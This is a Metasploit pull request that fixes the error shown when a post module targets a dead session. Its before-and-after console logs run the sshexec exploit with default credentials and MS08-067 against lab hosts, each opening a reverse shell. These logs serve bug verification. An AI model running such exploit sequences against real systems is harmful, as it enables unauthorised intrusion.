Fix invalid session ID bug

cc @jvazquez-r7, @zeroSteiner

Discovered this bug a little while ago when I tried to run a post module on a session that had died.

From our very own PSO Pete:

```
09:45 <Pete> so this what I would see.
09:46 <Pete> I have 100 + shellz. One dies I dont know it and I try to run a post mod on it. I get this error.
09:46 <Pete> I look at my sessions and say WTF. Then try to debug it.
```

IMHO, it's better to present an appropriate error message than to raise an obscure one somewhere else in Framework.

Before #2952:

```
wvu@kharak:~/metasploit-framework:master$ git checkout HEAD~...
Note: checking out 'HEAD~...'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b new_branch_name

HEAD is now at c67c0dd... Land #2972, enum_system find/save logs/S[UG]ID
wvu@kharak:~/metasploit-framework:(no branch)$ ./msfconsole -qr beug.rc
[*] Processing beug.rc for ERB directives.
resource (beug.rc)> use exploit/multi/ssh/sshexec
resource (beug.rc)> set RHOST 172.16.126.129
RHOST => 172.16.126.129
resource (beug.rc)> set USERNAME msfadmin
USERNAME => msfadmin
resource (beug.rc)> set PASSWORD msfadmin
PASSWORD => msfadmin
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] 172.16.126.129:22 - Sending Bourne stager...
[*] Command Stager progress -  50.18% done (428/853 bytes)
[*] Command Stager progress - 100.00% done (853/853 bytes)
[*] Command shell session 1 opened (172.16.126.1:4444 -> 172.16.126.129:49154) at 2014-02-11 17:15:33 -0600

^Z
Background session 1? [y/N]  y
resource (beug.rc)> use exploit/windows/smb/ms08_067_netapi
resource (beug.rc)> set RHOST 172.16.126.128
RHOST => 172.16.126.128
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 172.16.126.128
[*] Meterpreter session 2 opened (172.16.126.1:4444 -> 172.16.126.128:1086) at 2014-02-11 17:15:57 -0600

meterpreter >
Background session 2? [y/N]
resource (beug.rc)> use post/windows/gather/checkvm
resource (beug.rc)> run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
resource (beug.rc)> set SESSION 1337
SESSION => 1337
resource (beug.rc)> run

[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> set SESSION 2
SESSION => 2
resource (beug.rc)> run
[*] Checking if WVU-26C2C72DDEA is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
resource (beug.rc)> sessions -k 2
[*] Killing session 2
[*] 172.16.126.128 - Meterpreter session 2 closed.
resource (beug.rc)> run
[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> sessions -K
[*] Killing all sessions...
[*] 172.16.126.129 - Command shell session 1 closed.
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> workspace -d default
[*] Deleted and recreated the default workspace
resource (beug.rc)> exit -y
wvu@kharak:~/metasploit-framework:(no branch)$
```

After #2952:

```
wvu@kharak:~/metasploit-framework:(no branch)$ git checkout master
Previous HEAD position was c67c0dd... Land #2972, enum_system find/save logs/S[UG]ID
Switched to branch 'master'
wvu@kharak:~/metasploit-framework:master$ ./msfconsole -qr beug.rc
[*] Processing beug.rc for ERB directives.
resource (beug.rc)> use exploit/multi/ssh/sshexec
resource (beug.rc)> set RHOST 172.16.126.129
RHOST => 172.16.126.129
resource (beug.rc)> set USERNAME msfadmin
USERNAME => msfadmin
resource (beug.rc)> set PASSWORD msfadmin
PASSWORD => msfadmin
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] 172.16.126.129:22 - Sending Bourne stager...
[*] Command Stager progress -  50.18% done (428/853 bytes)
[*] Command Stager progress - 100.00% done (853/853 bytes)
[*] Command shell session 1 opened (172.16.126.1:4444 -> 172.16.126.129:49155) at 2014-02-11 17:16:54 -0600

^Z
Background session 1? [y/N]  y
resource (beug.rc)> use exploit/windows/smb/ms08_067_netapi
resource (beug.rc)> set RHOST 172.16.126.128
RHOST => 172.16.126.128
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 172.16.126.128
[*] Meterpreter session 2 opened (172.16.126.1:4444 -> 172.16.126.128:1087) at 2014-02-11 17:17:03 -0600

meterpreter >
Background session 2? [y/N]
resource (beug.rc)> use post/windows/gather/checkvm
resource (beug.rc)> run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
resource (beug.rc)> set SESSION 1337
SESSION => 1337
resource (beug.rc)> run

[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[*] Checking if WVU-26C2C72DDEA is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
resource (beug.rc)> set SESSION 2
SESSION => 2
resource (beug.rc)> run
[*] Checking if WVU-26C2C72DDEA is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
resource (beug.rc)> sessions -k 2
[*] Killing session 2
[*] 172.16.126.128 - Meterpreter session 2 closed.
resource (beug.rc)> run
[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> sessions -K
[*] Killing all sessions...
[*] 172.16.126.129 - Command shell session 1 closed.
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[-] Post failed: ArgumentError Missing required option :session
[-] Call stack:
[-]   /home/wvu/metasploit-framework/lib/msf/core/db.rb:870:in `report_session_event'
[-]   /home/wvu/metasploit-framework/lib/msf/core/framework.rb:442:in `on_session_module_run'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `each'
[-]   /home/wvu/metasploit-framework/lib/msf/core/event_dispatcher.rb:181:in `method_missing'
[*] Post module execution completed
resource (beug.rc)> workspace -d default
[*] Deleted and recreated the default workspace
resource (beug.rc)> exit -y
wvu@kharak:~/metasploit-framework:master$
```

After #2980:

```
wvu@kharak:~/metasploit-framework:master$ git checkout beug/session
Switched to branch 'beug/session'
Your branch is ahead of 'master' by 2 commits.
  (use "git push" to publish your local commits)
wvu@kharak:~/metasploit-framework:beug/session$ ./msfconsole -qr beug.rc
[*] Processing beug.rc for ERB directives.
resource (beug.rc)> use exploit/multi/ssh/sshexec
resource (beug.rc)> set RHOST 172.16.126.129
RHOST => 172.16.126.129
resource (beug.rc)> set USERNAME msfadmin
USERNAME => msfadmin
resource (beug.rc)> set PASSWORD msfadmin
PASSWORD => msfadmin
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] 172.16.126.129:22 - Sending Bourne stager...
[*] Command Stager progress -  50.18% done (428/853 bytes)
[*] Command Stager progress - 100.00% done (853/853 bytes)
[*] Command shell session 1 opened (172.16.126.1:4444 -> 172.16.126.129:49156) at 2014-02-11 17:17:49 -0600

^Z
Background session 1? [y/N]  y
resource (beug.rc)> use exploit/windows/smb/ms08_067_netapi
resource (beug.rc)> set RHOST 172.16.126.128
RHOST => 172.16.126.128
resource (beug.rc)> exploit
[*] Started reverse handler on 172.16.126.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 172.16.126.128
[*] Meterpreter session 2 opened (172.16.126.1:4444 -> 172.16.126.128:1088) at 2014-02-11 17:18:02 -0600

meterpreter >
Background session 2? [y/N]
resource (beug.rc)> use post/windows/gather/checkvm
resource (beug.rc)> run
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
resource (beug.rc)> set SESSION 1337
SESSION => 1337
resource (beug.rc)> run

[-] Session not found
[*] Post module execution completed
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[*] Checking if WVU-26C2C72DDEA is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
resource (beug.rc)> set SESSION 2
SESSION => 2
resource (beug.rc)> run
[*] Checking if WVU-26C2C72DDEA is a Virtual Machine .....
[*] This is a VMware Virtual Machine
[*] Post module execution completed
resource (beug.rc)> sessions -k 2
[*] Killing session 2
[*] 172.16.126.128 - Meterpreter session 2 closed.
resource (beug.rc)> run
[-] Session not found
[*] Post module execution completed
resource (beug.rc)> sessions -K
[*] Killing all sessions...
[*] 172.16.126.129 - Command shell session 1 closed.
resource (beug.rc)> set SESSION -1
SESSION => -1
resource (beug.rc)> run
[-] Session not found
[*] Post module execution completed
resource (beug.rc)> workspace -d default
[*] Deleted and recreated the default workspace
resource (beug.rc)> exit -y
wvu@kharak:~/metasploit-framework:beug/session$
```

Verification steps:

- [ ] Run a post module against a nonexistent session
- [ ] Verify that you see the appropriate error message

```beug.rc``` here: https://gist.github.com/wvu-r7/8947368.